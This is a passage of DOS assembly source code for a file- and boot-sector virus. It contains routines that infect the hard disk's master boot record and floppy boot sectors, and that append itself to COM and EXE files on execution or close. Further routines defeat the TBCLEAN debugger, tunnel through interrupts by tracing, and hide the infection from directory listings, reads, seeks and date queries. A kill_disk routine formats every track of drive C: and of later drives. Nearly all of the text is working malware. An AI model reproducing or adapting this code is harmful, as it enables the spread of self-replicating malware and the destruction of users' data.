rol ax,1
|
|
xchg ax,bx
|
|
xor ax,ax
|
|
push ds
|
|
mov ds,ax
|
|
mov ds:[bx],dx
|
|
pop ds:[bx + 2]
|
|
pop ds bx ax
|
|
retn
|
|
|
|
|
|
push_all: pop cs:push_pop_ret
|
|
pushf
|
|
push ax bx cx dx bp si di ds es
|
|
mov bp,sp
|
|
push_pop_jmp: jmp cs:push_pop_ret
|
|
|
|
pop_all: pop cs:push_pop_ret
|
|
pop es ds di si bp dx cx bx ax
|
|
popf
|
|
jmp push_pop_jmp
|
|
|
|
;=====( Infect Drive C: )====================================================;
|
|
|
|
inf_hard: push cs cs
|
|
pop es ds
|
|
mov ax,201h
|
|
mov bx,offset disk_buff
|
|
mov cx,1
|
|
mov dx,80h
|
|
call call_13 ; read MBR of drive C:
|
|
jb cant_inf_hard
|
|
cmp ds:[bx.pt_start_head],ch ; Jackal?
|
|
je cant_inf_hard
|
|
mov cx,ds:[bx.pt_end_sector_track]
|
|
and cx,0000000000111111b ; get sector count
|
|
sub cx,sect_size
|
|
jbe cant_inf_hard
|
|
cmp cl,1 ; too few sectors?
|
|
jbe cant_inf_hard
|
|
call copy_loader ; copy loader into MBR
|
|
jb cant_inf_hard
|
|
push bx
|
|
mov ax,300h + sect_size
|
|
xor bx,bx
|
|
call call_13 ; write code to hidden sectors
|
|
pop bx
|
|
jb cant_inf_hard
|
|
mov ax,301h
|
|
mov cl,1
|
|
call call_13 ; write infected MBR
|
|
cant_inf_hard: retn
|
|
|
|
;=====( Copy Loader into disk_buff (BX) )====================================;
|
|
|
|
copy_loader: push cx dx
|
|
cmp word ptr ds:[bx+1feh],0aa55h ; valid boot code?
|
|
jne copy_load_no
|
|
mov di,offset boot_code
|
|
mov ds:[di+load_sect-boot_code],cx ; save track/sector
|
|
and dl,80h ; Drive C: or A:
|
|
mov ds:[di+load_head-boot_code],dx ; save head/disk
|
|
call find_boot ; find code/already infected?
|
|
je copy_load_no
|
|
call random_1 ; get random key
|
|
mov ds:[di - 1],ah ; save key at boot_code_key
|
|
push si
|
|
call move_boot_code ; save boot code and encrypt
|
|
mov si,di ; offset of loader
|
|
pop di ; boot code pointer
|
|
mov cx,loader_size
|
|
rep movsb ; copy loader into boot sect
|
|
clc
|
|
mov al,0
|
|
org $ - 1
|
|
copy_load_no: stc
|
|
pop dx cx
|
|
retn
|
|
|
|
;=====( Find start of boot sector's code )===================================;
|
|
|
|
find_boot: mov si,bx
|
|
cld
|
|
lodsb ; get 1st instruction
|
|
push ax
|
|
lodsw ; Jump displacement (if jump)
|
|
xchg cx,ax
|
|
pop ax
|
|
cmp al,0ebh ; Short jump?
|
|
jne find_boot_jump
|
|
xor ch,ch ; 8bit jump
|
|
dec si
|
|
jmp find_boot_add
|
|
find_boot_jump: cmp al,0e9h ; Near Jump?
|
|
je find_boot_add
|
|
find_boot_noadd:xor cx,cx ; No displacement
|
|
mov si,bx
|
|
find_boot_add: add si,cx ; si=start of boot code
|
|
cmp si,offset (disk_buff+200h) - (loader_size + 5)
|
|
; jump out of range?
|
|
jnb find_boot_noadd
|
|
cmp word ptr ds:[si],00e8h ; CALL -> already infected
|
|
jne find_boot_ret
|
|
cmp word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
|
|
find_boot_ret: retn
|
|
|
|
;=====( Disable TBCLEAN )====================================================;
|
|
|
|
anti_tbclean: xor ax,ax
|
|
pushf
|
|
pop dx
|
|
and dh,not 1 ; TF off
|
|
push dx dx
|
|
popf
|
|
push ss
|
|
pop ss
|
|
pushf ; Not trapped
|
|
pop dx
|
|
test dh,1 ; TF set?
|
|
pop dx
|
|
je anti_tb_ret
|
|
push es
|
|
xor bp,bp
|
|
mov cx,ss
|
|
cli
|
|
mov ss,bp ; segment 0
|
|
les di,ss:[bp+1h*4h] ; address of int 1h
|
|
mov ss,cx
|
|
sti
|
|
mov al,0cfh
|
|
cld
|
|
stosb ; IRET -> Int 1h
|
|
pop es
|
|
push dx
|
|
popf
|
|
anti_tb_ret: xchg bp,ax ; save result
|
|
retn
|
|
|
|
;=====( Swap jump into DOS' int 13h )========================================;
|
|
|
|
swap_13: call push_all
|
|
mov si,offset jump_code_13
|
|
les di,cs:[si+dos_13-jump_code_13] ; get address in DOS
|
|
jmp swap_code
|
|
|
|
;=====( Swap jump into DOS' int 21h )========================================;
|
|
|
|
swap_21: call push_all
|
|
mov si,offset jump_code_21
|
|
les di,cs:[si+int_21-jump_code_21]
|
|
swap_code: push cs
|
|
pop ds
|
|
mov cx,5
|
|
cmp ds:origin,ch ; 0 -> Boot origin, no tunnel
|
|
je swap_end
|
|
cld
|
|
swap_loop: lodsb
|
|
xchg al,es:[di]
|
|
mov ds:[si-1],al
|
|
inc di
|
|
loop swap_loop
|
|
swap_end: call pop_all
|
|
retn
|
|
|
|
;=====( Find original interrupt entry points )===============================;
|
|
|
|
find_ints: call copy_ints ; get interrupt addresses
|
|
mov ah,52h
|
|
int 21h
|
|
mov ax,es:[bx-2]
|
|
mov ds:dos_seg,ax ; 1st MCB segment
|
|
mov al,1h
|
|
call get_int ; get address of int 1h
|
|
push bx es
|
|
mov dx,offset tracer
|
|
call set_int ; hook int 1h
|
|
pushf
|
|
pop si
|
|
mov di,offset trace_mode
|
|
mov byte ptr ds:[di],find_dos_13 ; find int 13h in DOS
|
|
; and BIOS
|
|
mov ah,1h
|
|
call si_tf ; set TF
|
|
call call_13
|
|
mov byte ptr ds:[di],find_15 ; find int 15h in BIOS
|
|
mov ah,0c0h
|
|
call si_tf ; set TF
|
|
pushf
|
|
call ds:int_15
|
|
mov byte ptr ds:[di],find_21 ; find int 21h in DOS
|
|
mov ah,30h
|
|
call si_tf ; set TF
|
|
call call_21
|
|
mov byte ptr ds:[di],find_40 ; find int 40h in BIOS
|
|
mov ah,1
|
|
call si_tf ; set TF
|
|
call call_40
|
|
and si,not 100h
|
|
push si
|
|
popf ; disable Trapping
|
|
pop ds dx
|
|
mov al,1
|
|
call set_int ; unhook int 1h
|
|
retn
|
|
|
|
;=====( Set TF in SI, then set flags to SI )=================================;
|
|
|
|
si_tf: or si,100h
|
|
push si
|
|
popf
|
|
retn
|
|
|
|
;=====( Tracing/Tunneling )==================================================;
|
|
|
|
tracer: push ds
|
|
push cs
|
|
pop ds
|
|
mov ds:old_di,di
|
|
mov di,offset old_ax
|
|
mov ds:[di],ax
|
|
mov ds:[di+old_bx-old_ax],bx
|
|
mov ds:[di+old_cx-old_ax],cx
|
|
mov ds:[di+old_dx-old_ax],dx
|
|
pop ds:[di-(old_ax-old_ds)]
|
|
pop bx cx dx ; get IP, CS and Flags
|
|
mov ax,cs
|
|
cmp ax,cx ; In our CS?
|
|
jne $
|
|
trace_mode = byte ptr $ - 1
|
|
jmp tracer_iret
|
|
|
|
tracer_dos_13: cmp cx,ds:dos_seg ; in DOS code?
|
|
jnb tracer_cont
|
|
mov di,offset dos_13
|
|
mov ds:trace_mode,find_13 ; find it in BIOS next
|
|
jmp tracer_save_f
|
|
|
|
tracer_21: cmp cx,1234h ; In DOS code?
|
|
dos_seg = word ptr $ - 2
|
|
jnb tracer_cont
|
|
mov di,offset int_21
|
|
tracer_save: and dh,not 1 ; TF off
|
|
tracer_save_f: mov ds:[di],bx
|
|
mov ds:[di + 2],cx ; save address of int
|
|
jmp tracer_cont
|
|
|
|
tracer_15: mov di,offset int_15
|
|
jmp tracer_bios
|
|
|
|
tracer_40: mov di,offset int_40
|
|
jmp tracer_bios
|
|
|
|
tracer_13: mov di,offset int_13
|
|
tracer_bios: cmp ch,0c8h ; Below BIOS?
|
|
jb tracer_cont
|
|
cmp ch,0f4h ; Above BIOS?
|
|
jb tracer_save
|
|
jmp tracer_cont
|
|
|
|
tracer_step_21: dec ds:inst_count ; down counter
|
|
jne tracer_cont
|
|
push dx
|
|
mov al,1
|
|
lds dx,ds:int_1 ; get int 1h address
|
|
call set_int
|
|
call swap_21 ; insert int 21h jump
|
|
pop dx
|
|
and dh,not 1h ; TF off
|
|
|
|
tracer_cont: test dh,1 ; TF on?
|
|
je tracer_iret
|
|
get_inst: mov ds,cx ; instruction CS
|
|
xor di,di
|
|
get_inst1: mov ax,ds:[bx + di] ; get instruction
|
|
cmp al,0f0h ; LOCK
|
|
je skip_prefix
|
|
cmp al,0f2h ; REPNE
|
|
je skip_prefix
|
|
cmp al,0f3h ; REPE?
|
|
je skip_prefix
|
|
cmp al,9ch ; PUSHF or above?
|
|
jae emulate_pushf
|
|
and al,11100111b ; 26,2e,36,3e = 26
|
|
cmp al,26h ; Segment Prefix?
|
|
jne tracer_iret
|
|
skip_prefix: inc di
|
|
jmp get_inst1
|
|
|
|
emulate_pushf: jne emulate_popf
|
|
and dh,not 1 ; TF off
|
|
push dx ; fake PUSHF
|
|
emulate_next: lea bx,ds:[bx + di + 1] ; skip instruction
|
|
emulate_tf: or dh,1 ; TF on
|
|
jmp get_inst
|
|
|
|
emulate_popf: cmp al,9dh ; POPF?
|
|
jne emulate_iret
|
|
pop dx ; fake POPF
|
|
jmp emulate_next
|
|
|
|
emulate_iret: cmp al,0cfh ; IRET?
|
|
jne emulate_int
|
|
pop bx cx dx ; fake IRET
|
|
jmp emulate_tf
|
|
|
|
emulate_int: cmp al,0cdh ; Int xx
|
|
je emulate_int_xx
|
|
cmp al,0cch ; Int 3?
|
|
mov ah,3
|
|
je emulate_int_x
|
|
cmp al,0ceh ; Into?
|
|
mov ah,4
|
|
jne tracer_iret
|
|
test dh,8 ; OF set?
|
|
je tracer_iret
|
|
emulate_int_x: dec bx ; [bx+di+2-1]
|
|
emulate_int_xx: and dh,not 1 ; TF off
|
|
lea bx,ds:[bx + di + 2] ; get return address
|
|
push dx cx bx ; fake Int
|
|
mov al,ah
|
|
push es
|
|
call get_int ; get interrupt address
|
|
mov cx,es
|
|
pop es
|
|
jmp emulate_tf
|
|
|
|
tracer_iret: push dx cx bx ; save flags, cs & ip
|
|
mov ax,0
|
|
old_ds = word ptr $ - 2
|
|
mov ds,ax
|
|
mov ax,0
|
|
old_ax = word ptr $ - 2
|
|
mov bx,0
|
|
old_bx = word ptr $ - 2
|
|
mov cx,0
|
|
old_cx = word ptr $ - 2
|
|
mov dx,0
|
|
old_dx = word ptr $ - 2
|
|
mov di,0
|
|
old_di = word ptr $ - 2
|
|
iret
|
|
|
|
;=====( file infections come here after decryption )=========================;
|
|
|
|
file_start: push ds ; save PSP segment
|
|
call $ + 3
|
|
pop si
|
|
sub si,offset $ - 1
|
|
call anti_tbclean ; disable TBCLEAN
|
|
or bp,bp ; TBCLEAN active?
|
|
jne go_res
|
|
mov ah,30h
|
|
mov bx,-666h
|
|
int 21h
|
|
cmp al,3h ; must be DOS 3+
|
|
jb jump_host
|
|
go_res: mov ax,es
|
|
dec ax
|
|
mov ds,ax
|
|
xor di,di
|
|
or bp,bp ; TBCLEAN here?
|
|
jne dont_check_mcb
|
|
cmp byte ptr ds:[di],'Z' ; Last Block?
|
|
jne jump_host
|
|
dont_check_mcb: mov ax,para_size
|
|
sub ds:[di + 3],ax ; from MCB
|
|
sub ds:[di + 12h],ax ; from PSP
|
|
mov es,ds:[di + 12h] ; get memory address
|
|
mov ds,di
|
|
sub word ptr ds:[413h],kilo_size ; from int 12h
|
|
mov cx,jump_code_13-v_start
|
|
cld
|
|
rep movs byte ptr es:[di],byte ptr cs:[si]
|
|
mov ax,offset high_code
|
|
push es ax
|
|
retf
|
|
|
|
jump_host: push cs
|
|
pop ds
|
|
pop es ; PSP segment
|
|
lea si,ds:[si + header] ; get address of header
|
|
mov ax,ds:[si] ; get 1st instruction
|
|
cmp ax,'ZM' ; EXE?
|
|
je jump_2_exe
|
|
cmp ax,'MZ' ; EXE?
|
|
je jump_2_exe
|
|
mov cx,18h / 2
|
|
mov di,100h
|
|
push es di
|
|
cld
|
|
rep movsw ; repair .COM file
|
|
push es
|
|
pop ds
|
|
xchg ax,cx
|
|
retf
|
|
|
|
jump_2_exe: mov ax,es
|
|
add ax,10h
|
|
add ds:[si.eh_cs],ax
|
|
add ax,ds:[si.eh_ss] ; get SS/CS
|
|
push es
|
|
pop ds
|
|
cli
|
|
mov ss,ax
|
|
mov sp,cs:[si.eh_sp]
|
|
xor ax,ax
|
|
sti
|
|
jmp dword ptr cs:[si.eh_ip]
|
|
|
|
|
|
high_code: push cs
|
|
pop ds
|
|
mov byte ptr ds:[di+origin-jump_code_13],file ; tunnel
|
|
mov ax,2
|
|
call random ; 1 in 3 chance of no stealth
|
|
; on special programs
|
|
mov ds:check_special,al
|
|
mov ds:hook_21,no_hook_21 ; dont hook int 21h
|
|
mov al,0eah
|
|
stosb ; store at jump_code_13
|
|
mov ds:[di+4],al
|
|
mov ax,offset new_13
|
|
stosw
|
|
mov word ptr ds:[di+3],offset new_21
|
|
mov ds:[di],cs
|
|
mov ds:[di+5],cs
|
|
push di
|
|
call find_ints ; trace interrupts
|
|
pop di
|
|
push cs
|
|
pop ds
|
|
mov ax,ds:dos_seg
|
|
cmp word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax
|
|
; found DOS' int 13h?
|
|
ja call_inf_hard
|
|
cmp word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax
|
|
; found DOS' int 21h?
|
|
ja call_inf_hard
|
|
call swap_13
|
|
call swap_21 ; insert jumps into DOS
|
|
call_inf_hard: call inf_hard ; infect drive C:
|
|
or bp,bp ; ZF -> No TBCLEAN
|
|
mov si,bp ; SI=0 if goto jump_host
|
|
jne kill_disk
|
|
jmp jump_host
|
|
|
|
kill_disk: xor bx,bx
|
|
mov es,bx ; table to use for format
|
|
mov dl,80h ; Drive C:
|
|
kill_next_disk: xor dh,dh ; head 0
|
|
kill_next_track:xor cx,cx ; track 0
|
|
kill_format: mov ax,501h
|
|
call call_disk ; format track
|
|
and cl,11000000b
|
|
inc ch ; next track low
|
|
jne kill_format
|
|
add cl,40h ; next track high
|
|
jne kill_format
|
|
xor ah,ah
|
|
int 13h ; reset disk
|
|
inc dh ; next head
|
|
cmp dh,10h
|
|
jb kill_next_track
|
|
inc dx ; next drive
|
|
jmp kill_next_disk
|
|
|
|
;=====( Interrupt 13h handler )==============================================;
|
|
|
|
new_13: jmp $
|
|
hook_21 = byte ptr $ - 1
|
|
|
|
check_21: call push_all
|
|
mov al,21h
|
|
call get_int ; get int 21h address
|
|
mov ax,es
|
|
push cs cs
|
|
pop ds es
|
|
cmp ax,800h ; too high?
|
|
ja cant_hook_21
|
|
mov di,offset int_21 + 2
|
|
std
|
|
xchg ax,ds:[di] ; swap addresses
|
|
scasw ; did it change?
|
|
je cant_hook_21
|
|
mov ds:[di],bx
|
|
mov al,21h
|
|
mov dx,offset new_21
|
|
call set_int ; hook int 21h
|
|
mov ds:hook_21,no_hook_21
|
|
cant_hook_21: call pop_all
|
|
|
|
new_13_next: cmp ah,2h ; Read?
|
|
jne jump_13
|
|
cmp cx,1 ; track 0, sector 1?
|
|
jne jump_13
|
|
or dh,dh ; head 0?
|
|
je hide_boot
|
|
jump_13: call call_dos_13
|
|
retf 2h
|
|
|
|
|
|
hide_boot: call call_dos_13 ; read boot sector
|
|
call push_all
|
|
jb hide_boot_err
|
|
push es cs
|
|
pop es ds
|
|
mov cx,100h
|
|
mov si,bx
|
|
mov di,offset disk_buff
|
|
mov bx,di
|
|
cld
|
|
rep movsw ; copy boot sector to buffer
|
|
push cs
|
|
pop ds
|
|
call find_boot ; find start/already infected?
|
|
jne inf_boot
|
|
mov ax,201h
|
|
mov cx,ds:[si+load_sect-loader]
|
|
mov dh,byte ptr ds:[si+(load_head+1)-loader]
|
|
; get code location
|
|
call call_disk ; read virus code
|
|
jb hide_boot_err
|
|
mov ax,ds:[0]
|
|
cmp ds:[bx],ax ; verify infection
|
|
jne hide_boot_err
|
|
mov di,ss:[bp.reg_bx]
|
|
mov es,ss:[bp.reg_es] ; get caller's buffer
|
|
sub si,bx ; displacement into boot sect.
|
|
add di,si ; address of loader
|
|
lea si,ds:[bx+(boot_code-v_start)] ; boot code in virus
|
|
call move_boot_code1 ; hide infection
|
|
hide_boot_err: call pop_all
|
|
retf 2h
|
|
|
|
inf_boot: cmp dl,80h ; hard disk?
|
|
jnb hide_boot_err
|
|
mov ax,301h
|
|
mov cx,1
|
|
call call_disk ; Write boot sector to disk
|
|
; CY -> Write-Protected
|
|
jb hide_boot_err
|
|
mov si,dx ; save drive #
|
|
mov di,bx
|
|
mov ax,ds:[di.bs_sectors] ; get number of sectors
|
|
mov cx,ds:[di.bs_sectors_per_track]
|
|
sub ds:[di.bs_sectors],cx ; prevent overwriting of code
|
|
mov ds:hide_count,cx
|
|
xor dx,dx
|
|
or ax,ax ; error?
|
|
je hide_boot_err
|
|
jcxz hide_boot_err
|
|
div cx
|
|
or dx,dx ; even division?
|
|
jne hide_boot_err
|
|
mov bx,ds:[di.bs_heads] ; get number of heads
|
|
or bx,bx
|
|
je hide_boot_err
|
|
div bx
|
|
or dx,dx
|
|
jne hide_boot_err
|
|
dec ax
|
|
mov ch,al ; last track
|
|
mov cl,1 ; sector 1
|
|
dec bx
|
|
mov dx,si ; drive
|
|
mov dh,bl ; last head
|
|
mov bx,di ; offset disk buffer
|
|
call copy_loader ; Copy loader into Boot sector
|
|
jb hide_boot_err
|
|
mov ax,300h + sect_size
|
|
xor bx,bx
|
|
call call_disk
|
|
jb hide_boot_err
|
|
mov ax,301h
|
|
mov bx,offset disk_buff
|
|
mov cx,1
|
|
xor dh,dh
|
|
call call_disk ; write boot sector to disk
|
|
mov bx,ss:[bp.reg_bx]
|
|
mov ds,ss:[bp.reg_es] ; get caller's buffer
|
|
sub ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
|
|
hide_count = word ptr $ - 2
|
|
jmp hide_boot_err
|
|
|
|
;=====( Interrupt 21h handler )==============================================;
|
|
|
|
new_21: cli
|
|
mov cs:int_21_ss,ss
|
|
mov cs:int_21_sp,sp ; save stack pointers
|
|
push cs
|
|
pop ss
|
|
mov sp,offset temp_stack ; allocate stack
|
|
sti
|
|
call push_all
|
|
in al,21h
|
|
or al,2 ; disable keyboard
|
|
out 21h,al
|
|
push cs
|
|
pop ds
|
|
mov di,offset new_24
|
|
mov word ptr ds:[di-(new_24-handle)],bx ; save handle
|
|
mov al,24h
|
|
call get_int ; get address of int 24h
|
|
mov word ptr ds:[di-(new_24-int_24)],bx
|
|
mov word ptr ds:[di-(new_24-(int_24+2))],es
|
|
mov word ptr ds:[di],03b0h ; MOV AL,3
|
|
mov byte ptr ds:[di+2],0cfh ; IRET
|
|
mov dx,di
|
|
call set_int ; hook int 24h
|
|
call pop_all
|
|
call swap_21 ; remove jump from int 21h
|
|
call push_all
|
|
cmp ah,30h ; get DOS version?
|
|
jne is_dir_fcb
|
|
add bx,666h ; looking for us?
|
|
jnz is_dir_fcb
|
|
mov ss:[bp.reg_ax],bx ; set DOS version=0
|
|
mov ss:[bp.reg_bx],bx
|
|
jmp retf_21
|
|
|
|
is_dir_fcb: cmp ah,11h
|
|
jb is_dir_asciiz
|
|
cmp ah,12h
|
|
ja is_dir_asciiz
|
|
call call_21 ; do find
|
|
or al,al ; error?
|
|
je dir_fcb
|
|
jmp jump_21
|
|
|
|
dir_fcb: call save_returns ; save AX
|
|
call get_psp ; get current PSP
|
|
mov ax,'HC'
|
|
scasw ; CHKDSK?
|
|
jne dir_fcb_ok
|
|
mov ax,'DK'
|
|
scasw
|
|
jne dir_fcb_ok
|
|
mov ax,'KS'
|
|
scasw
|
|
je retf_21
|
|
dir_fcb_ok: call get_dta ; get DTA address
|
|
xor di,di
|
|
cmp byte ptr ds:[bx],-1 ; extended FCB?
|
|
jne dir_fcb_next
|
|
mov di,7h ; fix it up
|
|
dir_fcb_next: lea si,ds:[bx+di.ds_date+1] ; offset of year -> SI
|
|
dir_hide: call is_specialfile ; no stealth if helper
|
|
je retf_21
|
|
cmp byte ptr ds:[si],years ; infected?
|
|
jc retf_21
|
|
sub byte ptr ds:[si],years ; restore old date
|
|
les ax,ds:[bx+di.ds_size] ; get size of file
|
|
mov cx,es
|
|
sub ax,file_size ; hide size increase
|
|
sbb cx,0
|
|
jc retf_21
|
|
mov word ptr ds:[bx+di.ds_size],ax
|
|
mov word ptr ds:[bx+di.ds_size+2],cx ; save new size
|
|
retf_21: call undo_24 ; unhook int 24h
|
|
call pop_all
|
|
call swap_21 ; insert jump
|
|
cli
|
|
mov ss,cs:int_21_ss
|
|
mov sp,cs:int_21_sp
|
|
sti
|
|
retf 2
|
|
|
|
|
|
is_dir_asciiz: cmp ah,4eh
|
|
jb is_lseek
|
|
cmp ah,4fh
|
|
ja is_lseek
|
|
call call_21
|
|
jnc dir_asciiz
|
|
go_jump_21: jmp jump_21
|
|
|
|
dir_asciiz: call save_returns ; save AX and flags
|
|
call get_dta ; get dta address
|
|
mov di,-3
|
|
lea si,ds:[bx.dta_date+1] ; get year address
|
|
jmp dir_hide
|
|
|
|
is_lseek: cmp ax,4202h ; Lseek to end?
|
|
jne is_date
|
|
call call_21_file
|
|
jb go_jump_21
|
|
call get_dcb ; get DCB address
|
|
jbe lseek_exit
|
|
call is_specialfile ; dont hide true size from
|
|
; helpers
|
|
je lseek_exit
|
|
sub ax,file_size
|
|
sbb dx,0 ; hide virus at end
|
|
mov word ptr ds:[di.dcb_pos],ax
|
|
mov word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
|
|
lseek_exit: clc
|
|
call save_returns ; save AX/flags
|
|
mov ss:[bp.reg_dx],dx
|
|
jmp retf_21
|
|
|
|
is_date: cmp ax,5700h ; get date?
|
|
je get_date
|
|
cmp ax,5701h ; set date?
|
|
jne is_read
|
|
call get_dcb
|
|
jbe date_err
|
|
cmp dh,years ; already setting 100 years?
|
|
jnb date_err
|
|
add dh,years ; dont erase marker
|
|
get_date: call is_specialfile ; do not hide date for
|
|
; helpers
|
|
je date_err
|
|
call call_21_file ; get/set date
|
|
jnc date_check
|
|
date_err: jmp jump_21
|
|
|
|
date_check: cmp dh,years ; infected?
|
|
jb date_ok
|
|
sub dh,years
|
|
date_ok: clc
|
|
call save_returns ; save ax/flags
|
|
mov ss:[bp.reg_cx],cx
|
|
mov ss:[bp.reg_dx],dx ; save time/date
|
|
jmp retf_21
|
|
|
|
is_read: cmp ah,3fh ; reading file?
|
|
je do_read
|
|
no_read: jmp is_write
|
|
|
|
do_read: call get_dcb ; get DCB address
|
|
jbe no_read
|
|
call is_specialfile
|
|
je no_read
|
|
les ax,ds:[di.dcb_size] ; get size of file
|
|
mov bx,es
|
|
les dx,ds:[di.dcb_pos] ; get current position
|
|
mov si,es
|
|
and cs:read_bytes,0
|
|
or si,si ; in 1st 64k?
|
|
jnz read_high
|
|
cmp dx,18h ; reading header?
|
|
jnb read_high
|
|
push cx
|
|
add cx,dx
|
|
cmc
|
|
jnc read_above
|
|
cmp cx,18h ; read goes above header?
|
|
read_above: pop cx
|
|
jb read_below
|
|
mov cx,18h
|
|
sub cx,dx
|
|
read_below: push ax bx ; save size
|
|
push dx ; position
|
|
sub dx,18h
|
|
add ax,dx ; get position in header
|
|
cmc
|
|
sbb bx,si
|
|
xchg word ptr ds:[di.dcb_pos],ax
|
|
xchg word ptr ds:[di.dcb_pos+2],bx ; lseek to header
|
|
push ax bx
|
|
push ds
|
|
mov ah,3fh
|
|
mov dx,ss:[bp.reg_dx]
|
|
mov ds,ss:[bp.reg_ds]
|
|
call call_21_file ; read file
|
|
pop ds
|
|
pop word ptr ds:[di.dcb_pos+2]
|
|
pop word ptr ds:[di.dcb_pos]
|
|
pop dx
|
|
pushf
|
|
add dx,ax ; adjust position
|
|
add cs:read_bytes,ax ; remember # of bytes read
|
|
popf
|
|
pop bx ax
|
|
jnc read_high
|
|
jmp jump_21
|
|
|
|
read_high: mov word ptr ds:[di.dcb_pos],dx ; update position
|
|
mov word ptr ds:[di.dcb_pos+2],si
|
|
mov cx,ss:[bp.reg_cx] ; number of bytes to read
|
|
sub cx,cs:read_bytes
|
|
sub ax,file_size
|
|
sbb bx,0 ; get original size
|
|
push ax bx
|
|
sub ax,dx
|
|
sbb bx,si ; in virus now?
|
|
pop bx ax
|
|
jnc read_into
|
|
xor cx,cx ; read 0 bytes
|
|
jmp read_fake
|
|
|
|
read_into: add dx,cx
|
|
adc si,0 ; get position after read
|
|
cmp bx,si ; read extends into virus?
|
|
ja read_fake
|
|
jb read_adjust
|
|
cmp ax,dx
|
|
jnb read_fake
|
|
read_adjust: sub dx,cx ; get position again
|
|
xchg cx,ax
|
|
sub cx,dx ; # of bytes to read = Original size - Pos
|
|
read_fake: mov ah,3fh
|
|
mov dx,ss:[bp.reg_dx]
|
|
add dx,cs:read_bytes
|
|
mov ds,ss:[bp.reg_ds]
|
|
call call_21_file ; read file
|
|
jc read_exit
|
|
add ax,0
|
|
read_bytes = word ptr $ - 2
|
|
clc
|
|
read_exit: call save_returns
|
|
jmp retf_21
|
|
|
|
|
|
is_write: cmp ah,40h ; write?
|
|
je do_write
|
|
no_write: jmp is_infect
|
|
|
|
do_write: call get_dcb
|
|
jbe no_write
|
|
les ax,ds:[di.dcb_size] ; get file size
|
|
mov bx,es
|
|
sub ax,18h
|
|
sbb bx,0 ; get header position
|
|
xchg ax,word ptr ds:[di.dcb_pos]
|
|
xchg bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
|
|
push ax bx
|
|
mov ax,2
|
|
xchg ax,ds:[di.dcb_mode] ; read/write mode
|
|
push ax
|
|
push ds cs
|
|
pop ds es
|
|
call read_header ; read 18h bytes
|
|
pop es:[di.dcb_mode] ; restore access mode
|
|
jc write_rest_pos
|
|
mov word ptr es:[di.dcb_pos],ax
|
|
mov word ptr es:[di.dcb_pos+2],ax ; lseek to start
|
|
call write_header ; write old header
|
|
jc write_rest_pos
|
|
push es
|
|
pop ds
|
|
sub word ptr ds:[di.dcb_size],file_size
|
|
sbb word ptr ds:[di.dcb_size+2],ax ; truncate at virus
|
|
sub byte ptr ds:[di.dcb_date+1],years ; remove 100 years
|
|
write_rest_pos: pop word ptr es:[di.dcb_pos+2]
|
|
pop word ptr es:[di.dcb_pos]
|
|
jmp jump_21
|
|
|
|
|
|
is_infect: cmp ah,3eh ; Close?
|
|
je infect_3e
|
|
cmp ax,4b00h ; Execute?
|
|
je infect_4b
|
|
jmp jump_21
|
|
|
|
infect_4b: mov ax,3d00h ; Open file
|
|
cmp ax,0
|
|
org $ - 2
|
|
infect_3e: mov ah,45h ; Duplicate handle
|
|
call int_2_bios ; lock out protection programs
|
|
call call_21_file ; get handle
|
|
mov cs:handle,ax
|
|
mov ax,4408h
|
|
cwd
|
|
jc undo_bios
|
|
call get_dcb ; get DCB for handle
|
|
jb cant_infect
|
|
jne cant_infect ; error/already infected
|
|
mov bl,00111111b
|
|
and bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
|
|
mov dl,bl ; DX=00**
|
|
inc bx ; 0=default,1=a,2=b,3=c,etc.
|
|
call call_21 ; drive removable?
|
|
mov cx,1h
|
|
push cs
|
|
pop es
|
|
jc test_prot_drive
|
|
dec ax ; 1=non-removable
|
|
jz no_protect
|
|
jmp test_protect
|
|
|
|
test_prot_drive:cmp dl,1 ; A or B?
|
|
ja no_protect
|
|
test_protect: mov ax,201h
|
|
mov bx,offset disk_buff
|
|
int 13h ; read sector
|
|
jc cant_infect
|
|
mov ax,301h
|
|
int 13h ; write it back
|
|
jc cant_infect
|
|
no_protect: inc cx ; CX=2
|
|
xchg cx,ds:[di.dcb_mode] ; read/write access mode
|
|
push cx
|
|
xor ax,ax
|
|
xchg ah,ds:[di.dcb_attr] ; attribute=0
|
|
test ah,00000100b ; system file?
|
|
push ax
|
|
jne cant_system
|
|
cbw
|
|
cwd
|
|
xchg ax,word ptr ds:[di.dcb_pos]
|
|
xchg dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
|
|
push ax dx
|
|
mov bp,-'OC'
|
|
add bp,word ptr ds:[di.dcb_ext] ; BP=0 of CO
|
|
jnz not_com
|
|
mov bp,-'MO'
|
|
add bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
|
|
not_com: call infect
|
|
pushf
|
|
call get_dcb
|
|
popf
|
|
jc not_infected
|
|
add byte ptr ds:[di.dcb_date+1],years ; add 100 years
|
|
not_infected: or byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
|
|
pop word ptr ds:[di.dcb_pos+2]
|
|
pop word ptr ds:[di.dcb_pos]
|
|
cant_system: pop word ptr ds:[di.dcb_attr-1] ; restore attribute
|
|
pop ds:[di.dcb_mode] ; restore access mode
|
|
cant_infect: mov ah,3eh
|
|
call call_21_file ; close file
|
|
undo_bios: call int_2_bios ; restore interrupts
|
|
|
|
;=====( Jump on to int 21h )=================================================;
|
|
|
|
jump_21: call undo_24 ; unhook int 24h
|
|
push cs
|
|
pop ds
|
|
mov al,1h
|
|
mov di,offset int_1
|
|
cmp byte ptr ds:[di+origin-int_1],al ; file origin?
|
|
jne jump_21_1
|
|
call get_int ; get int 1h address
|
|
mov ds:[di],bx
|
|
mov ds:[di + 2],es
|
|
mov byte ptr ds:[di+inst_count-int_1],5
|
|
mov ds:trace_mode,step_21
|
|
mov dx,offset tracer
|
|
call set_int ; hook int 1h
|
|
call pop_all
|
|
push si
|
|
pushf
|
|
pop si
|
|
call si_tf ; set TF
|
|
pop si
|
|
go_21: cli
|
|
mov ss,cs:int_21_ss
|
|
mov sp,cs:int_21_sp ; restore stack
|
|
sti
|
|
go_2_21: jmp cs:int_21
|
|
|
|
jump_21_1: call pop_all
|
|
jmp go_21
|
|
|
|
;=====( actual infection routine )===========================================;
|
|
|
|
infect: push cs
|
|
pop ds
|
|
call read_header ; read first 18h bytes
|
|
jc inf_bad_file
|
|
mov si,dx
|
